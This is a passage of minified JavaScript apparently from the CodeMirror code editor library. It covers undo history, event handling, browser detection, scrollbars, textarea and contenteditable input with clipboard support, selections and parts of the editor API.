t,i=0;i<n.length;++i)n[i].marker.explicitlyCleared?t||(t=n.slice(0,i)):t&&t.push(n[i]);return t?t.length?t:null:n}function sd(n,t){var u=t["spans_"+n.id],i,r;if(!u)return null;for(i=0,r=[];i<t.text.length;++i)r.push(od(u[i]));return r}function wr(n,t,i){for(var u,l,s,c,a,r,f,e=0,o=[];e<n.length;++e)if(u=n[e],u.ranges)o.push(i?ni.prototype.deepCopy.call(u):u);else for(l=u.changes,s=[],o.push({changes:s}),c=0;c<l.length;++c)if(r=l[c],s.push({from:r.from,to:r.to,text:r.text}),t)for(f in r)(a=f.match(/^spans_(\d+)$/))&&d(t,Number(a[1]))>-1&&(h(s)[f]=r[f],delete r[f]);return o}function ly(n,t,i,r){i<n.line?n.line+=r:t<n.line&&(n.line=t,n.ch=0)}function ay(t,i,r,u){for(var f,h,e,o,s=0;s<t.length;++s)if(f=t[s],h=!0,f.ranges)for(f.copied||(f=t[s]=f.deepCopy(),f.copied=!0),e=0;e<f.ranges.length;e++)ly(f.ranges[e].anchor,i,r,u),ly(f.ranges[e].head,i,r,u);else{for(e=0;e<f.changes.length;++e)if(o=f.changes[e],r<o.from.line)o.from=n(o.from.line+u,o.from.ch),o.to=n(o.to.line+u,o.to.ch);else if(i<=o.to.line){h=!1;break}h||(t.splice(0,s+1),s=0)}}function vy(n,t){var i=t.from.line,r=t.to.line,u=t.text.length-(r-i)-1;ay(n.done,i,r,u);ay(n.undone,i,r,u)}function gh(n){return null!=n.defaultPrevented?n.defaultPrevented:0==n.returnValue}function uf(n){return n.target||n.srcElement}function yy(n){var t=n.which;return null==t&&(1&n.button?t=1:2&n.button?t=3:4&n.button&&(t=2)),lt&&n.ctrlKey&&1==t&&(t=3),t}function nt(n,t){function e(n){return function(){n.apply(null,f)}}var u=n._handlers&&n._handlers[t],i,f,r;if(u)for(f=Array.prototype.slice.call(arguments,2),dr?i=dr.delayedCallbacks:df?i=df:(i=df=[],setTimeout(hd,0)),r=0;r<u.length;++r)i.push(e(u[r]))}function hd(){var t=df,n;for(df=null,n=0;n<t.length;++n)t[n]()}function bt(n,t,i){return"string"==typeof t&&(t={type:t,preventDefault:function(){this.defaultPrevented=!0}}),p(n,i||t.type,n,t),gh(t)||t.codemirrorIgnore}function py(n){var i=n._handlers&&n._handlers.cursorActivity,r,t;if(i)for(r=n.curOp.cursorActivityHandlers||(n.curOp.cursorActivityHandlers=[]),t=0;t<i.length;++t)-1==d(r,i[t])&&r.push(i[t])}function ft(n,t){var i=n._handlers&&n._handlers[t];return i&&i.length>0}function br(n){n.prototype.on=function(n,t){u(this,n,t)};n.prototype.off=function(n,t){dt(this,n,t)}}function ff(){this.id=null}function wy(n,t,i){for(var f,e,r=0,u=0;;){if(f=n.indexOf("\t",r),-1==f&&(f=n.length),e=f-r,f==n.length||u+e>=t)return r+Math.min(e,t-u);if(u+=f-r,u+=i-u%i,r=f+1,u>=t)return r}}function by(n){for(;ko.length<=n;)ko.push(h(ko)+" ");return ko[n]}function h(n){return n[n.length-1]}function d(n,t){for(var i=0;i<n.length;++i)if(n[i]==t)return i;return-1}function ef(n,t){for(var r=[],i=0;i<n.length;i++)r[i]=t(n[i],i);return r}function sf(){}function ky(n,t){var i;return Object.create?i=Object.create(n):(sf.prototype=n,i=new sf),t&&ht(t,i),i}function ht(n,t,i){t||(t={});for(var r in n)!n.hasOwnProperty(r)||i===!1&&t.hasOwnProperty(r)||(t[r]=n[r]);return t}function hf(n){var t=Array.prototype.slice.call(arguments,1);return function(){return n.apply(null,t)}}function ho(n,t){return t?t.source.indexOf("\\w")>-1&&bp(n)?!0:t.test(n):bp(n)}function dy(n){for(var t in n)if(n.hasOwnProperty(t)&&n[t])return!1;return!0}function cf(n){return n.charCodeAt(0)>=768&&hg.test(n)}function i(n,t,i,r){var u=document.createElement(n),f;if(i&&(u.className=i),r&&(u.style.cssText=r),"string"==typeof t)u.appendChild(document.createTextNode(t));else if(t)for(f=0;f<t.length;++f)u.appendChild(t[f]);return u}function di(n){for(var t=n.childNodes.length;t>0;--t)n.removeChild(n.firstChild);return n}function et(n,t){return di(n).appendChild(t)}function kt(){return document.activeElement}function lf(n){return new RegExp("(^|\\s)"+n+"(?:$|\\s)\\s*")}function nc(n,t){for(var r=n.split(" "),i=0;i<r.length;i++)r[i]&&!lf(r[i]).test(t)&&(t+=" "+r[i]);return t}function gy(n){var i,t,r;if(document.body.getElementsByClassName)for(i=document.body.getElementsByClassName("CodeMirror"),t=0;t<i.length;t++)r=i[t].CodeMirror,r&&n(r)}function cd(){kp||(ld(),kp=!0)}function ld(){var n;u(window,"resize",function(){null==n&&(n=setTimeout(function(){n=null;gy(ab)},100))});u(window,"blur",function(){gy(pu)})}function ad(n){var t,r;return null==ac&&(t=i("span","​"),et(n,i("span",[t,document.createTextNode("x")])),0!=n.firstChild.offsetHeight&&(ac=t.offsetWidth<=1&&t.offsetHeight>2&&!(s&&8>a))),r=ac?i("span","​"):i("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px"),r.setAttribute("cm-text",""),r}function vd(n){var i,t,r;return null!=vc?vc:(i=et(n,document.createTextNode("AخA")),t=fr(i,0,1).getBoundingClientRect(),!t||t.left==t.right)?!1:(r=fr(i,1,2).getBoundingClientRect(),vc=r.right-t.right<3)}function yd(n){if(null!=yc)return yc;var t=et(n,i("span","x")),r=t.getBoundingClientRect(),u=fr(t,0,1).getBoundingClientRect();return yc=Math.abs(r.left-u.left)>1}function pd(n,t,i,r){var e,f,u;if(!n)return r(t,i,"ltr");for(e=!1,f=0;f<n.length;++f)u=n[f],(u.from<i&&u.to>t||t==i&&u.to==t)&&(r(Math.max(u.from,t),Math.min(u.to,i),1==u.level?"rtl":"ltr"),e=!0);e||r(t,i,"ltr")}function tc(n){return n.level%2?n.to:n.from}function ic(n){return n.level%2?n.from:n.to}function co(n){var t=st(n);return t?tc(t[0]):0}function lo(n){var t=st(n);return t?ic(h(t)):n.text.length}function np(t,i){var e=r(t.doc,i),u=pt(e),f,o;return u!=e&&(i=c(u)),f=st(u),o=f?f[0].level%2?lo(u):co(u):0,n(i,o)}function wd(t,i){for(var e,f,o,u=r(t.doc,i);e=gu(u);)u=e.find(1,!0).line,i=null;return f=st(u),o=f?f[0].level%2?co(u):lo(u):u.text.length,n(null==i?c(u):i,o)}function tp(t,i){var u=np(t,i.line),e=r(t.doc,u.line),o=st(e),f,s;return!o||0==o[0].level?(f=Math.max(0,e.text.search(/\S/)),s=i.line==u.line&&i.ch<=f&&i.ch,n(u.line,s?0:f)):u}function bd(n,t,i){var r=n[0].level;return t==r?!0:i==r?!1:i>t}function ao(n,t){var u,r,i;for(ie=null,r=0;r<n.length;++r){if(i=n[r],i.from<t&&i.to>t)return r;if(i.from==t||i.to==t){if(null!=u)return bd(n,i.level,n[u].level)?(i.from!=i.to&&(ie=u),r):(i.from!=i.to&&(ie=r),u);u=r}}return u}function rc(n,t,i,r){if(!r)return t+i;do t+=i;while(t>0&&cf(n.text.charAt(t)));return t}function uc(n,t,i,r){var e=st(n);if(!e)return ip(n,t,i,r);for(var o=ao(e,t),u=e[o],f=rc(n,t,u.level%2?-i:i,r);;){if(f>u.from&&f<u.to)return f;if(f==u.from||f==u.to)return ao(e,f)==o?f:(u=e[o+=i],i>0==u.level%2?u.to:u.from);if(u=e[o+=i],!u)return null;f=i>0==u.level%2?rc(n,u.to,-1,r):rc(n,u.from,1,r)}}function ip(n,t,i,r){var u=t+i;if(r)for(;u>0&&cf(n.text.charAt(u));)u+=i;return 0>u||u>n.text.length?null:u}var gi=/gecko\/\d/i.test(navigator.userAgent),rp=/MSIE \d/.test(navigator.userAgent),up=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent),s=rp||up,a=s&&(rp?document.documentMode||6:up[1]),y=/WebKit\//.test(navigator.userAgent),kd=y&&/Qt\/\d+\.\d+/.test(navigator.userAgent),dd=/Chrome\//.test(navigator.userAgent),ct=/Opera\//.test(navigator.userAgent),fp=/Apple Computer/.test(navigator.vendor),gd=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),ng=/PhantomJS/.test(navigator.userAgent),kr=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),af=kr||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),lt=kr||/Mac/.test(navigator.platform),tg=/win/i.test(navigator.platform),nr=ct&&navigator.userAgent.match(/Version\/(\d*\.\d*)/),oc,hc,nu,tu,wo,rr,ur,cp,vf,ei,pf,ci,bo,wf,bf,iu,lp,ap,vp,tt,yp,kf,go,ie,gp;nr&&(nr=Number(nr[1]));nr&&nr>=15&&(ct=!1,y=!0);var ep=lt&&(kd||ct&&(null==nr||12.11>nr)),fc=gi||s&&a>=9,op=!1,hi=!1;fs.prototype=ht({update:function(n){var i=n.scrollWidth>n.clientWidth+1,r=n.scrollHeight>n.clientHeight+1,t=n.nativeBarWidth,u,f;return r?(this.vert.style.display="block",this.vert.style.bottom=i?t+"px":"0",u=n.viewHeight-(i?t:0),this.vert.firstChild.style.height=Math.max(0,n.scrollHeight-n.clientHeight+u)+"px"):(this.vert.style.display="",this.vert.firstChild.style.height="0"),i?(this.horiz.style.display="block",this.horiz.style.right=r?t+"px":"0",this.horiz.style.left=n.barLeft+"px",f=n.viewWidth-n.barLeft-(r?t:0),this.horiz.firstChild.style.width=n.scrollWidth-n.clientWidth+f+"px"):(this.horiz.style.display="",this.horiz.firstChild.style.width="0"),!this.checkedOverlay&&n.clientHeight>0&&(0==t&&this.overlayHack(),this.checkedOverlay=!0),{right:r?t:0,bottom:i?t:0}},setScrollLeft:function(n){this.horiz.scrollLeft!=n&&(this.horiz.scrollLeft=n)},setScrollTop:function(n){this.vert.scrollTop!=n&&(this.vert.scrollTop=n)},overlayHack:function(){var i=lt&&!gd?"12px":"18px",n,t;this.horiz.style.minHeight=this.vert.style.minWidth=i;n=this;t=function(t){uf(t)!=n.vert&&uf(t)!=n.horiz&&v(n.cm,va)(t)};u(this.vert,"mousedown",t);u(this.horiz,"mousedown",t)},clear:function(){var n=this.horiz.parentNode;n.removeChild(this.horiz);n.removeChild(this.vert)}},fs.prototype);es.prototype=ht({update:function(){return{bottom:0,right:0}},setScrollLeft:function(){},setScrollTop:function(){},clear:function(){}},es.prototype);t.scrollbarModel={"native":fs,"null":es};ue.prototype.signal=function(n,t){ft(n,t)&&this.events.push(arguments)};ue.prototype.finish=function(){for(var n=0;n<this.events.length;n++)p.apply(null,this.events[n])};var n=t.Pos=function(t,i){return this instanceof n?(this.line=t,void(this.ch=i)):new n(t,i)},o=t.cmpPos=function(n,t){return n.line-t.line||n.ch-t.ch},at=null;ks.prototype=ht({init:function(n){function f(n){if(r.somethingSelected())at=r.getSelections(),i.inaccurateSelection&&(i.prevInput="",i.inaccurateSelection=!1,t.value=at.join("\n"),ru(t));else{if(!r.options.lineWiseCopyCut)return;var u=hl(r);at=u.text;"cut"==n.type?r.setSelections(u.ranges,null,gt):(i.prevInput="",t.value=u.text.join("\n"),ru(t))}"cut"==n.type&&(r.state.cutIncoming=!0)}var i=this,r=this.cm,e=this.wrapper=ll(),t=this.textarea=e.firstChild;n.wrapper.insertBefore(e,n.wrapper.firstChild);kr&&(t.style.width="0px");u(t,"input",function(){s&&a>=9&&i.hasSelection&&(i.hasSelection=null);i.poll()});u(t,"paste",function(){if(y&&!r.state.fakedLastChar&&!(new Date-r.state.lastMiddleDown<200)){var n=t.selectionStart,u=t.selectionEnd;t.value+="$";t.selectionEnd=u;t.selectionStart=n;r.state.fakedLastChar=!0}r.state.pasteIncoming=!0;i.fastPoll()});u(t,"cut",f);u(t,"copy",f);u(n.scroller,"paste",function(t){ui(n,t)||(r.state.pasteIncoming=!0,i.focus())});u(n.lineSpace,"selectstart",function(t){ui(n,t)||g(t)});u(t,"compositionstart",function(){var n=r.getCursor("from");i.composing={start:n,range:r.markText(n,r.getCursor("to"),{className:"CodeMirror-composing"})}});u(t,"compositionend",function(){i.composing&&(i.poll(),i.composing.range.clear(),i.composing=null)})},prepareSelection:function(){var n=this.cm,t=n.display,e=n.doc,i=gl(n);if(n.options.moveInputWithCursor){var r=ii(n,e.sel.primary().head,"div"),u=t.wrapper.getBoundingClientRect(),f=t.lineDiv.getBoundingClientRect();i.teTop=Math.max(0,Math.min(t.wrapper.clientHeight-10,r.top+f.top-u.top));i.teLeft=Math.max(0,Math.min(t.wrapper.clientWidth-10,r.left+f.left-u.left))}return i},showSelection:function(n){var i=this.cm,t=i.display;et(t.cursorDiv,n.cursors);et(t.selectionDiv,n.selection);null!=n.teTop&&(this.wrapper.style.top=n.teTop+"px",this.wrapper.style.left=n.teLeft+"px")},reset:function(n){var i,f,t,e,r,u;this.contextMenuPending||(t=this.cm,e=t.doc,t.somethingSelected()?(this.prevInput="",r=e.sel.primary(),i=dp&&(r.to().line-r.from().line>100||(f=t.getSelection()).length>1e3),u=i?"-":f||t.getSelection(),this.textarea.value=u,t.state.focused&&ru(this.textarea),s&&a>=9&&(this.hasSelection=u)):n||(this.prevInput=this.textarea.value="",s&&a>=9&&(this.hasSelection=null)),this.inaccurateSelection=i)},getField:function(){return this.textarea},supportsTouch:function(){return!1},focus:function(){if("nocursor"!=this.cm.options.readOnly&&(!af||kt()!=this.textarea))try{this.textarea.focus()}catch(n){}},blur:function(){this.textarea.blur()},resetPosition:function(){this.wrapper.style.top=this.wrapper.style.left=0},receivedFocus:function(){this.slowPoll()},slowPoll:function(){var n=this;n.pollingFast||n.polling.set(this.cm.options.pollInterval,function(){n.poll();n.cm.state.focused&&n.slowPoll()})},fastPoll:function(){function t(){var r=n.poll();r||i?(n.pollingFast=!1,n.slowPoll()):(i=!0,n.polling.set(60,t))}var i=!1,n=this;n.pollingFast=!0;n.polling.set(20,t)},poll:function(){var n=this.cm,f=this.textarea,r=this.prevInput,t,e,u,o,i;if(!n.state.focused||lg(f)&&!r||he(n)||n.options.disableInput||n.state.keySeq||(n.state.pasteIncoming&&n.state.fakedLastChar&&(f.value=f.value.substring(0,f.value.length-1),n.state.fakedLastChar=!1),t=f.value,t==r&&!n.somethingSelected()))return!1;if(s&&a>=9&&this.hasSelection===t||lt&&/[\uf700-\uf7ff]/.test(t))return n.display.input.reset(),!1;if(n.doc.sel==n.display.selForContextMenu&&(e=t.charCodeAt(0),8203!=e||r||(r="​"),8666==e))return this.reset(),this.cm.execCommand("undo");for(u=0,o=Math.min(r.length,t.length);o>u&&r.charCodeAt(u)==t.charCodeAt(u);)++u;return i=this,ut(n,function(){bs(n,t.slice(u),r.length-u,null,i.composing?"*compose":null);t.length>1e3||t.indexOf("\n")>-1?f.value=i.prevInput="":i.prevInput=t;i.composing&&(i.composing.range.clear(),i.composing.range=n.markText(i.composing.start,n.getCursor("to"),{className:"CodeMirror-composing"}))}),!0},ensurePolled:function(){this.pollingFast&&this.poll()&&(this.pollingFast=!1)},onKeyPress:function(){s&&a>=9&&(this.hasSelection=null);this.fastPoll()},onContextMenu:function(n){function h(){if(null!=i.selectionStart){var n=t.somethingSelected(),u="​"+(n?i.value:"");i.value="⇚";i.value=u;f.prevInput=n?"":"​";i.selectionStart=1;i.selectionEnd=u.length;r.selForContextMenu=t.doc.sel}}function c(){if(f.contextMenuPending=!1,f.wrapper.style.position="relative",i.style.cssText=p,s&&9>a&&r.scrollbars.setScrollTop(r.scroller.scrollTop=k),null!=i.selectionStart){(!s||s&&9>a)&&h();var u=0,n=function(){r.selForContextMenu==t.doc.sel&&0==i.selectionStart&&i.selectionEnd>0&&"​"==f.prevInput?v(t,vf.selectAll)(t):u++<10?r.detectingSelectAll=setTimeout(n,500):r.input.reset()};r.detectingSelectAll=setTimeout(n,200)}}var f=this,t=f.cm,r=t.display,i=f.textarea,e=cr(t,n),k=r.scroller.scrollTop,l,p,b,o;e&&!ct&&(l=t.options.resetSelectionOnContextMenu,l&&-1==t.doc.sel.contains(e)&&v(t,w)(t.doc,ti(e),gt),p=i.style.cssText,(f.wrapper.style.position="absolute",i.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(n.clientY-5)+"px; left: "+(n.clientX-5)+"px; z-index: 1000; background: "+(s?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",y)&&(b=window.scrollY),(r.input.focus(),y&&window.scrollTo(null,b),r.input.reset(),t.somethingSelected()||(i.value=f.prevInput=" "),f.contextMenuPending=!0,r.selForContextMenu=t.doc.sel,clearTimeout(r.detectingSelectAll),s&&a>=9&&h(),fc)?(cc(n),o=function(){dt(window,"mouseup",o);setTimeout(c,20)},u(window,"mouseup",o)):setTimeout(c,50))},setUneditable:sf,needsContentAttribute:!1},ks.prototype);ds.prototype=ht({init:function(t){function e(n){var r,t,u,f;if(i.somethingSelected())at=i.getSelections(),"cut"==n.type&&i.replaceSelection("",null,"cut");else{if(!i.options.lineWiseCopyCut)return;r=hl(i);at=r.text;"cut"==n.type&&i.operation(function(){i.setSelections(r.ranges,0,gt);i.replaceSelection("",null,"cut")})}n.clipboardData&&!kr?(n.preventDefault(),n.clipboardData.clearData(),n.clipboardData.setData("text/plain",at.join("\n"))):(t=ll(),u=t.firstChild,i.display.lineSpace.insertBefore(t,i.display.lineSpace.firstChild),u.value=at.join("\n"),f=document.activeElement,ru(u),setTimeout(function(){i.display.lineSpace.removeChild(t);f.focus()},50))}var r=this,i=r.cm,f=r.div=t.lineDiv;f.contentEditable="true";cl(f);u(f,"paste",function(n){var t=n.clipboardData&&n.clipboardData.getData("text/plain");t&&(n.preventDefault(),i.replaceSelection(t,null,"paste"))});u(f,"compositionstart",function(t){var u=t.data;if(r.composing={sel:i.doc.sel,data:u,startData:u},u){var f=i.doc.sel.primary(),o=i.getLine(f.head.line),e=o.indexOf(u,Math.max(0,f.head.ch-u.length));e>-1&&e<=f.head.ch&&(r.composing.sel=ti(n(f.head.line,e),n(f.head.line,e+u.length)))}});u(f,"compositionupdate",function(n){r.composing.data=n.data});u(f,"compositionend",function(n){var t=r.composing;t&&(n.data==t.startData||/\u200b/.test(n.data)||(t.data=n.data),setTimeout(function(){t.handled||r.applyComposition(t);r.composing==t&&(r.composing=null)},50))});u(f,"touchstart",function(){r.forceCompositionEnd()});u(f,"input",function(){r.composing||r.pollContent()||ut(r.cm,function(){it(i)})});u(f,"copy",e);u(f,"cut",e)},prepareSelection:function(){var n=gl(this.cm,!1);return n.focus=this.cm.state.focused,n},showSelection:function(n){n&&this.cm.display.view.length&&(n.focus&&this.showPrimarySelection(),this.showMultipleSelections(n))},showPrimarySelection:function(){var n=window.getSelection(),f=this.cm.doc.sel.primary(),e=ce(this.cm,n.anchorNode,n.anchorOffset),s=ce(this.cm,n.focusNode,n.focusOffset),i,r,h,c,u,t,l;if((!e||e.bad||!s||s.bad||0!=o(se(e,s),f.from())||0!=o(oe(e,s),f.to()))&&(i=al(this.cm,f.from()),r=al(this.cm,f.to()),i||r)){h=this.cm.display.view;c=n.rangeCount&&n.getRangeAt(0);i?r||(u=h[h.length-1].measure,t=u.maps?u.maps[u.maps.length-1]:u.map,r={node:t[t.length-1],offset:t[t.length-2]-t[t.length-3]}):i={node:h[0].measure.map[2],offset:0};try{l=fr(i.node,i.offset,r.offset,r.node)}catch(a){}l&&(n.removeAllRanges(),n.addRange(l),c&&null==n.anchorNode?n.addRange(c):gi&&this.startGracePeriod());this.rememberSelection()}},startGracePeriod:function(){var n=this;clearTimeout(this.gracePeriod);this.gracePeriod=setTimeout(function(){n.gracePeriod=!1;n.selectionChanged()&&n.cm.operation(function(){n.cm.curOp.selectionChanged=!0})},20)},showMultipleSelections:function(n){et(this.cm.display.cursorDiv,n.cursors);et(this.cm.display.selectionDiv,n.selection)},rememberSelection:function(){var n=window.getSelection();this.lastAnchorNode=n.anchorNode;this.lastAnchorOffset=n.anchorOffset;this.lastFocusNode=n.focusNode;this.lastFocusOffset=n.focusOffset},selectionInEditor:function(){var n=window.getSelection(),t;return n.rangeCount?(t=n.getRangeAt(0).commonAncestorContainer,go(this.div,t)):!1},focus:function(){"nocursor"!=this.cm.options.readOnly&&this.div.focus()},blur:function(){this.div.blur()},getField:function(){return this.div},supportsTouch:function(){return!0},receivedFocus:function(){function t(){n.cm.state.focused&&(n.pollSelection(),n.polling.set(n.cm.options.pollInterval,t))}var n=this;this.selectionInEditor()?this.pollSelection():ut(this.cm,function(){n.cm.curOp.selectionChanged=!0});this.polling.set(this.cm.options.pollInterval,t)},selectionChanged:function(){var n=window.getSelection();return n.anchorNode!=this.lastAnchorNode||n.anchorOffset!=this.lastAnchorOffset||n.focusNode!=this.lastFocusNode||n.focusOffset!=this.lastFocusOffset},pollSelection:function(){var t,n,i,r;this.composing||this.gracePeriod||!this.selectionChanged()||(t=window.getSelection(),n=this.cm,this.rememberSelection(),i=ce(n,t.anchorNode,t.anchorOffset),r=ce(n,t.focusNode,t.focusOffset),i&&r&&ut(n,function(){w(n.doc,ti(i,r),gt);(i.bad||r.bad)&&(n.curOp.selectionChanged=!0)}))},pollContent:function(){var f=this.cm,i=f.display,tt=f.doc.sel.primary(),p=tt.from(),it=tt.to(),w,l,b,v,s,k,t,u,g,nt;if(p.line<i.viewFrom||it.line>i.viewTo-1)return!1;for(p.line==i.viewFrom||0==(w=yi(f,p.line))?(l=c(i.view[0].line),b=i.view[0].node):(l=c(i.view[w].line),b=i.view[w-1].node.nextSibling),v=yi(f,it.line),v==i.view.length-1?(s=i.viewTo-1,k=i.view[v].node):(s=c(i.view[v+1].line)-1,k=i.view[v+1].node.previousSibling),t=li(cw(f,b,k,l,s)),u=bi(f.doc,n(l,0),n(s,r(f.doc,s).text.length));t.length>1&&u.length>1;)if(h(t)==h(u))t.pop(),u.pop(),s--;else{if(t[0]!=u[0])break;t.shift();u.shift();l++}for(var e=0,a=0,rt=t[0],ut=u[0],ft=Math.min(rt.length,ut.length);ft>e&&rt.charCodeAt(e)==ut.charCodeAt(e);)++e;for(var y=h(t),d=h(u),et=Math.min(y.length-(1==t.length?e:0),d.length-(1==u.length?e:0));et>a&&y.charCodeAt(y.length-a-1)==d.charCodeAt(d.length-a-1);)++a;return t[t.length-1]=y.slice(0,y.length-a),t[0]=t[0].slice(e),g=n(l,e),nt=n(s,u.length?h(u).length-a:0),t.length>1||t[0]||o(g,nt)?(bu(f.doc,t,g,nt,"+input"),!0):void 0},ensurePolled:function(){this.forceCompositionEnd()},reset:function(){this.forceCompositionEnd()},forceCompositionEnd:function(){this.composing&&!this.composing.handled&&(this.applyComposition(this.composing),this.composing.handled=!0,this.div.blur(),this.div.focus())},applyComposition:function(n){n.data&&n.data!=n.startData&&v(this.cm,bs)(this.cm,n.data,0,n.sel)},setUneditable:function(n){n.setAttribute("contenteditable","false")},onKeyPress:function(n){n.preventDefault();v(this.cm,bs)(this.cm,String.fromCharCode(null==n.charCode?n.keyCode:n.charCode),0)},onContextMenu:sf,resetPosition:sf,needsContentAttribute:!0},ds.prototype);t.inputStyles={textarea:ks,contenteditable:ds};ni.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(n){var t,i,r;if(n==this)return!0;if(n.primIndex!=this.primIndex||n.ranges.length!=this.ranges.length)return!1;for(t=0;t<this.ranges.length;t++)if(i=this.ranges[t],r=n.ranges[t],0!=o(i.anchor,r.anchor)||0!=o(i.head,r.head))return!1;return!0},deepCopy:function(){for(var t=[],n=0;n<this.ranges.length;n++)t[n]=new l(ws(this.ranges[n].anchor),ws(this.ranges[n].head));return new ni(t,this.primIndex)},somethingSelected:function(){for(var n=0;n<this.ranges.length;n++)if(!this.ranges[n].empty())return!0;return!1},contains:function(n,t){var i,r;for(t||(t=n),i=0;i<this.ranges.length;i++)if(r=this.ranges[i],o(t,r.from())>=0&&o(n,r.to())<=0)return i;return-1}};l.prototype={from:function(){return se(this.anchor,this.head)},to:function(){return oe(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};var tr,vo,yo,ec={left:0,right:0,top:0,bottom:0},dr=null,ig=0,sp=0,po=0,rt=null;s?rt=-.53:gi?rt=15:dd?rt=-.7:fp&&(rt=-1/3);oc=function(n){var i=n.wheelDeltaX,t=n.wheelDeltaY;return null==i&&n.detail&&n.axis==n.HORIZONTAL_AXIS&&(i=n.detail),null==t&&n.detail&&n.axis==n.VERTICAL_AXIS?t=n.detail:null==t&&(t=n.wheelDelta),{x:i,y:t}};t.wheelEventPixels=function(n){var t=oc(n);return t.x*=rt,t.y*=rt,t};var rg=new ff,sc=null,ir=t.changeEnd=function(t){return t.text?n(t.from.line+t.text.length-1,h(t.text).length+(1==t.text.length?t.from.ch:0)):t.to};t.prototype={constructor:t,focus:function(){window.focus();this.display.input.focus()},setOption:function(n,t){var i=this.options,r=i[n];(i[n]!=t||"mode"==n)&&(i[n]=t,gr.hasOwnProperty(n)&&v(this,gr[n])(this,t,r))},getOption:function(n){return this.options[n]},getDoc:function(){return this.doc},addKeyMap:function(n,t){this.state.keyMaps[t?"push":"unshift"](ro(n))},removeKeyMap:function(n){for(var i=this.state.keyMaps,t=0;t<i.length;++t)if(i[t]==n||i[t].name==n)return i.splice(t,1),!0},addOverlay:b(function(n,i){var r=n.token?n:t.getMode(this.options,n);if(r.startState)throw new Error("Overlays may not be stateful.");this.state.overlays.push({mode:r,modeSpec:n,opaque:i&&i.opaque});this.state.modeGen++;it(this)}),removeOverlay:b(function(n){for(var r,i=this.state.overlays,t=0;t<i.length;++t)if(r=i[t].modeSpec,r==n||"string"==typeof n&&r.name==n)return i.splice(t,1),this.state.modeGen++,void it(this)}),indentLine:b(function(n,t,i){"string"!=typeof t&&"number"!=typeof t&&(t=null==t?this.options.smartIndent?"smart":"prev":t?"add":"subtract");ou(this.doc,n)&&ku(this,n,t,i)}),indentSelection:b(function(n){for(var i,u,f,e=this.doc.sel.ranges,r=-1,t=0;t<e.length;t++)if(i=e[t],i.empty())i.head.line>r&&(ku(this,i.head.line,n,!0),r=i.head.line,t==this.doc.sel.primIndex&&vr(this));else{var o=i.from(),s=i.to(),h=Math.max(r,o.line);for(r=Math.min(this.lastLine(),s.line-(s.ch?0:1))+1,u=h;r>u;++u)ku(this,u,n);f=this.doc.sel.ranges;0==o.ch&&e.length==f.length&&f[t].from().ch>0&&gs(this.doc,t,new l(o,f[t].to()),gt)}}),getTokenAt:function(n,t){return gv(this,n,t)},getLineTokens:function(t,i){return gv(this,n(t),i,!0)},getTokenTypeAt:function(n){var t,e;n=f(this.doc,n);var i,u=iy(this,r(this.doc,n.line)),s=0,h=(u.length-1)/2,o=n.ch;if(0==o)i=u[2];else for(;;)if(t=s+h>>1,(t?u[2*t-1]:0)>=o)h=t;else{if(!(u[2*t+1]<o)){i=u[2*t+2];break}s=t+1}return e=i?i.indexOf("cm-overlay "):-1,0>e?i:0==e?null:i.slice(0,e-1)},getModeAt:function(n){var i=this.doc.mode;return i.innerMode?t.innerMode(i,this.getTokenAt(n).state).mode:i},getHelper:function(n,t){return this.getHelpers(n,t)[0]},getHelpers:function(n,t){var u=[],r,i,o,f,e;if(!rr.hasOwnProperty(t))return u;if(r=rr[t],i=this.getModeAt(n),"string"==typeof i[t])r[i[t]]&&u.push(r[i[t]]);else if(i[t])for(f=0;f<i[t].length;f++)o=r[i[t][f]],o&&u.push(o);else i.helperType&&r[i.helperType]?u.push(r[i.helperType]):r[i.name]&&u.push(r[i.name]);for(f=0;f<r._global.length;f++)e=r._global[f],e.pred(i,this)&&-1==d(u,e.val)&&u.push(e.val);return u},getStateAfter:function(n,t){var i=this.doc;return n=vl(i,null==n?i.first+i.size-1:n),lu(this,n+1,t)},cursorCoords:function(n,t){var r,i=this.doc.sel.primary();return r=null==n?i.head:"object"==typeof n?f(this.doc,n):n?i.from():i.to(),ii(this,r,t||"page")},charCoords:function(n,t){return eh(this,f(this.doc,n),t||"page")},coordsChar:function(n,t){return n=ha(this,n,t||"page"),oh(this,n.left,n.top)},lineAtHeight:function(n,t){return n=ha(this,{top:n,left:0},t||"page").top,ki(this.doc,n+this.display.viewOffset)},heightAtLine:function(n,t){var i,f=!1,u;return"number"==typeof n?(u=this.doc.first+this.doc.size-1,n<this.doc.first?n=this.doc.first:n>u&&(n=u,f=!0),i=r(this.doc,n)):i=n,fh(this,i,{top:0,left:0},t||"page").top+(f?this.doc.height-fi(i):0)},defaultTextHeight:function(){return vi(this.display)},defaultCharWidth:function(){return vu(this.display)},setGutterMarker:b(function(n,t,i){return io(this.doc,n,"gutter",function(n){var r=n.gutterMarkers||(n.gutterMarkers={});return r[t]=i,!i&&dy(r)&&(n.gutterMarkers=null),!0})}),clearGutter:b(function(n){var t=this,i=t.doc,r=i.first;i.iter(function(i){i.gutterMarkers&&i.gutterMarkers[n]&&(i.gutterMarkers[n]=null,ri(t,r,"gutter"),dy(i.gutterMarkers)&&(i.gutterMarkers=null));++r})}),lineInfo:function(n){var t;if("number"==typeof n){if(!ou(this.doc,n)||(t=n,n=r(this.doc,n),!n))return null}else if(t=c(n),null==t)return null;return{line:t,handle:n,text:n.text,gutterMarkers:n.gutterMarkers,textClass:n.textClass,bgClass:n.bgClass,wrapClass:n.wrapClass,widgets:n.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(n,t,i,r,u){var 